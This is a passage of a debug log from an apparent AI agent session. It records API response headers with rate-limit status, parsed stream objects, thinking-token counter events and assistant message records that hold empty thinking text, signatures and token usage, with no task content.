\"1790679600\",\n[2026-09-29T07:43:55.352Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.355Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:55.358Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:55.361Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:55.364Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:55.367Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:55.369Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:55.376Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:55.379Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.386Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:55.395Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:55.406Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:55.412Z] [STDOUT]     \"cf-ray\": \"a4295c0d5fc04d8b-FRA\",\n[2026-09-29T07:43:55.418Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:43:55.426Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:55.432Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:55.436Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:55.445Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:43:55 GMT\",\n[2026-09-29T07:43:55.452Z] [STDOUT]     \"request-id\": \"req_011CfXMe6hPqJYtb1ijCgy6A\",\n[2026-09-29T07:43:55.457Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:55.461Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:55.464Z] [STDOUT]     traceresponse: \"00-7ce08a8c361922fba33b322b0b6d316e-30f57ad2184c3383-01\",\n[2026-09-29T07:43:55.469Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:55.481Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:55.488Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:55.492Z] [STDOUT]   },\n[2026-09-29T07:43:55.495Z] [STDOUT]   durationMs: 825,\n[2026-09-29T07:43:55.504Z] [STDOUT] }\n[2026-09-29T07:43:55.509Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:43:55.519Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:43:55 GMT\",\n[2026-09-29T07:43:55.537Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:55.542Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:55.549Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:55.558Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:55.564Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:55.567Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:55.572Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:55.580Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:55.589Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:55.595Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:55.599Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:55.601Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:55.604Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:55.606Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:55.608Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:55.612Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.616Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:55.619Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:55.621Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:55.625Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:55.630Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.634Z] [STDOUT]   \"request-id\": \"req_011CfXMe6hPqJYtb1ijCgy6A\",\n[2026-09-29T07:43:55.637Z] [STDOUT]   \"traceresponse\": \"00-7ce08a8c361922fba33b322b0b6d316e-30f57ad2184c3383-01\",\n[2026-09-29T07:43:55.640Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:55.646Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:55.649Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:55.654Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:55.657Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:55.662Z] [STDOUT]   \"cf-ray\": \"a4295c0d5fc04d8b-FRA\",\n[2026-09-29T07:43:55.668Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:55.672Z] [STDOUT] [log_9d0f26] response parsed {\n[2026-09-29T07:43:55.678Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:55.685Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:55.689Z] [STDOUT]   body: X {\n[2026-09-29T07:43:55.692Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:55.695Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:55.699Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:55.701Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:55.703Z] [STDOUT]     },\n[2026-09-29T07:43:55.707Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:55.709Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:55.712Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:55.716Z] [STDOUT]   },\n[2026-09-29T07:43:55.721Z] [STDOUT]   durationMs: 829,\n[2026-09-29T07:43:55.726Z] [STDOUT] }\n[2026-09-29T07:43:55.804Z] [INFO] {\n[2026-09-29T07:43:55.804Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:55.804Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:55.804Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:43:55.804Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:55.804Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:55.804Z] [INFO]   \"uuid\": \"2d54e5db-47a5-491b-ac5a-a40a6573f0e3\"\n[2026-09-29T07:43:55.804Z] [INFO] }\n[2026-09-29T07:43:56.810Z] [INFO] {\n[2026-09-29T07:43:56.810Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:56.810Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:56.810Z] [INFO]   \"estimated_tokens\": 232,\n[2026-09-29T07:43:56.810Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:56.810Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:56.810Z] [INFO]   \"uuid\": \"8548b11b-9e08-4e61-9363-11939d1ba091\"\n[2026-09-29T07:43:56.810Z] [INFO] }\n[2026-09-29T07:43:56.816Z] [INFO] {\n[2026-09-29T07:43:56.816Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:56.816Z] [INFO]   \"message\": {\n[2026-09-29T07:43:56.816Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"id\": \"msg_011CfXMe7GdqEfJTVou46NDH\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"content\": [\n[2026-09-29T07:43:56.816Z] [INFO]       {\n[2026-09-29T07:43:56.816Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:43:56.816Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:43:56.816Z] [INFO]         \"signature\": \"CAQSmAcKEAgSGAI4AUIIdGhpbmtpbmcSDA9PtctZXah71sW7rBoMpy3NH6Oujp7rrKtrIjACnyrFzU3gqeIOzKkLzC3si1pcmpjVSb85WODMcTuhl7LT5Et0GyuZ1ZiSVb65q68qtQY4rF4tUz8ur73Mz86Fhs5O0JIIpEpnxY84UGO9l+fGCDpU0dcNsHpYmWgOLwiVqIq47DXvPKn5vmD7jMTabcXF8mXRxgVD+LWgtuDIWF5dZ8NyQ37j/1AKnEm7wL9X7aqeDcmH7k1Q6RO0+nVFMzwLsUOrR54brvvh2PWNy/oXL1EjJKvzIvVJOhIHVgWCeyBuewM3YYRvvMOTkSdwZ3YwBq4nvPLMpcRpLQbwQhM8kSG4hYkj++B75LlkdxFFb1vMhDtynjhXZLJ8+VRh/F+oaALTanu807qik7gsy1EZQW5phMcY+omguVPBtOMSnNq19n9GhSh2ZrHWs9gSt8MXfiOne5OL89yrQ4fJx3IL3LFctZ9sFud6TAiEh7A9Ue7RghIIa5/1o+9s4KT6hjyrjPhUIpxE7tMMSPRuQ4n3zIIAqAYpaj17c5rNTbexiSF9jRZ62PBl2iUu5PA59ntKbu8dslLFdaq+uM7UQ0DJoS+B6HaQsSkLiMfMAOzeD6SL+l3ZLSfS6JmoH2weYM3Sulm2xaGj0pCKVickSXnKSDHNU35NoM1O/OHo+3Khzh9smQEQ7LiozZnCpZKEPf+t1y3IOnEuHGqLwYMCuVsg/A7zrzCvZRDD3/lW4oTIbfQR2NBeBPqaEao4pOzofC9IuE7Drw0QB8KtdtfayJU7Cox7DC5RVMw1d7cCEkevSTVF+rly9L8mxERveDf4Zut66sekQMbhZOGY3oZlLWoaTdneWYXIE2Db37sC2bBMJrKGjmG61AyGar9nLpBRrNxvFCwR/wu89mTPv6RQm30fFUMV+Njij/8rTt8Z+pkcKvPPr61h2cSnRJdrcTzrss+1cmpr1p9v0D9M79AJPW9O0LAr1cPZzvYuRA+WaNFK0NfoiwKScGevW2j5WUYAGWhscaez5y5H7WR2BWOAP8t9k6Fh5+yTA25KFYTv1+we32QC/4Ne8ss/wvblCxPs0HC9l2bdIYZ3jz3tZ6qAOGUy7ldukW4SBhLm30hXee2LeBCEQ2HosaBS/YwHmmokEYo/Pjc2BbIy7J+rQba1dQGrX2esecZHvutZjvctc5MJcDU2tdp6pxgB\"\n[2026-09-29T07:43:56.816Z] [INFO]       }\n[2026-09-29T07:43:56.816Z] [INFO]     ],\n[2026-09-29T07:43:56.816Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:56.816Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:56.816Z] [INFO]       \"cache_creation_input_tokens\": 2451,\n[2026-09-29T07:43:56.816Z] [INFO]       \"cache_read_input_tokens\": 30362,\n[2026-09-29T07:43:56.816Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:56.816Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:56.816Z] [INFO]         \"ephemeral_1h_input_tokens\": 2451\n[2026-09-29T07:43:56.816Z] [INFO]       },\n[2026-09-29T07:43:56.816Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:43:56.816Z] [INFO]       \"service_tier\": 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\"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:11.700Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:11.704Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:11.709Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:11.713Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.724Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:11.729Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:11.733Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:11.737Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:11.741Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:11.745Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:11.747Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:11.749Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.753Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:11.755Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:11.758Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:11.761Z] [STDOUT]     \"cf-ray\": \"a4295c73ff564d8b-FRA\",\n[2026-09-29T07:44:11.767Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:11.772Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:11.774Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:11.776Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:11.778Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:11 GMT\",\n[2026-09-29T07:44:11.780Z] [STDOUT]     \"request-id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:11.784Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:11.789Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:11.794Z] [STDOUT]     traceresponse: \"00-70a758e678006da106703466133cfd96-b079a6c82b06f911-01\",\n[2026-09-29T07:44:11.796Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:11.800Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:11.802Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:11.807Z] [STDOUT]   },\n[2026-09-29T07:44:11.813Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:11.820Z] [STDOUT] }\n[2026-09-29T07:44:11.824Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:11.828Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:11 GMT\",\n[2026-09-29T07:44:11.832Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:11.836Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:11.840Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:11.842Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:11.846Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:11.851Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:11.854Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:11.859Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:11.863Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:11.868Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:11.872Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:11.876Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:11.883Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:11.888Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:11.892Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:11.895Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.904Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:11.907Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:11.909Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:11.914Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:11.918Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:11.923Z] [STDOUT]   \"request-id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:11.928Z] [STDOUT]   \"traceresponse\": \"00-70a758e678006da106703466133cfd96-b079a6c82b06f911-01\",\n[2026-09-29T07:44:11.933Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:11.938Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:11.941Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:11.945Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:11.947Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:11.953Z] [STDOUT]   \"cf-ray\": \"a4295c73ff564d8b-FRA\",\n[2026-09-29T07:44:11.957Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:11.961Z] [STDOUT] [log_549744] response parsed {\n[2026-09-29T07:44:11.963Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:11.966Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:11.968Z] [STDOUT]   body: X {\n[2026-09-29T07:44:11.973Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:11.977Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:11.980Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:11.983Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:11.988Z] [STDOUT]     },\n[2026-09-29T07:44:11.992Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:11.996Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:12.002Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:12.006Z] [STDOUT]   },\n[2026-09-29T07:44:12.010Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:12.017Z] [STDOUT] }\n[2026-09-29T07:44:13.602Z] [INFO] {\n[2026-09-29T07:44:13.602Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"message\": {\n[2026-09-29T07:44:13.602Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"id\": \"msg_011CfXMfKMwHxkfowaZNkZ7Z\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:13.602Z] [INFO]     \"content\": [\n[2026-09-29T07:44:13.602Z] [INFO]       {\n[2026-09-29T07:44:13.602Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:13.602Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:13.602Z] [INFO]         \"signature\": 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    \"container\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:13.602Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:13.602Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:13.602Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:13.602Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:13.602Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:13.602Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:13.602Z] [INFO]       },\n[2026-09-29T07:44:13.602Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:13.602Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:13.602Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:13.602Z] [INFO]     },\n[2026-09-29T07:44:13.602Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:13.602Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:13.602Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:13.602Z] [INFO]   },\n[2026-09-29T07:44:13.602Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:13.602Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"uuid\": \"5f12b083-2194-437a-aa38-eef91aab092f\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:13.596Z\",\n[2026-09-29T07:44:13.602Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\"\n[2026-09-29T07:44:13.602Z] [INFO] }\n[2026-09-29T07:44:13.610Z] [INFO] {\n[2026-09-29T07:44:13.610Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.610Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.610Z] [INFO]   \"estimated_tokens\": 4,\n[2026-09-29T07:44:13.610Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.610Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.610Z] [INFO]   \"uuid\": \"bf5546ee-1740-4119-bc49-50ba50770473\"\n[2026-09-29T07:44:13.610Z] [INFO] }\n[2026-09-29T07:44:13.615Z] [INFO] {\n[2026-09-29T07:44:13.615Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.615Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.615Z] [INFO]   \"estimated_tokens\": 8,\n[2026-09-29T07:44:13.615Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.615Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.615Z] [INFO]   \"uuid\": \"a51bc246-e9db-4179-824b-5b6098ff877c\"\n[2026-09-29T07:44:13.615Z] [INFO] }\n[2026-09-29T07:44:13.620Z] [INFO] {\n[2026-09-29T07:44:13.620Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.620Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.620Z] [INFO]   \"estimated_tokens\": 14,\n[2026-09-29T07:44:13.620Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.620Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.620Z] [INFO]   \"uuid\": \"6d3ae98e-0281-4adb-bf5f-f86eac6cf3e2\"\n[2026-09-29T07:44:13.620Z] [INFO] }\n[2026-09-29T07:44:13.624Z] [INFO] {\n[2026-09-29T07:44:13.624Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.624Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.624Z] [INFO]   \"estimated_tokens\": 20,\n[2026-09-29T07:44:13.624Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.624Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.624Z] [INFO]   \"uuid\": \"64c88895-1c15-4d49-8e3e-0814b3460d4b\"\n[2026-09-29T07:44:13.624Z] [INFO] }\n[2026-09-29T07:44:13.629Z] [INFO] {\n[2026-09-29T07:44:13.629Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.629Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.629Z] [INFO]   \"estimated_tokens\": 26,\n[2026-09-29T07:44:13.629Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.629Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.629Z] [INFO]   \"uuid\": \"05063cdf-c039-4e67-b69f-cc74e7b81776\"\n[2026-09-29T07:44:13.629Z] [INFO] }\n[2026-09-29T07:44:13.637Z] [INFO] {\n[2026-09-29T07:44:13.637Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.637Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.637Z] [INFO]   \"estimated_tokens\": 36,\n[2026-09-29T07:44:13.637Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.637Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.637Z] [INFO]   \"uuid\": \"102801d8-0e94-4dba-a238-bb8a2fa985e5\"\n[2026-09-29T07:44:13.637Z] [INFO] }\n[2026-09-29T07:44:13.642Z] [INFO] {\n[2026-09-29T07:44:13.642Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.642Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.642Z] [INFO]   \"estimated_tokens\": 41,\n[2026-09-29T07:44:13.642Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.642Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.642Z] [INFO]   \"uuid\": \"c701beb4-f5fd-4f4e-9b8f-6a43dee3e0d8\"\n[2026-09-29T07:44:13.642Z] [INFO] }\n[2026-09-29T07:44:13.648Z] [INFO] {\n[2026-09-29T07:44:13.648Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.648Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.648Z] [INFO]   \"estimated_tokens\": 47,\n[2026-09-29T07:44:13.648Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.648Z] [INFO]   \"session_id\": 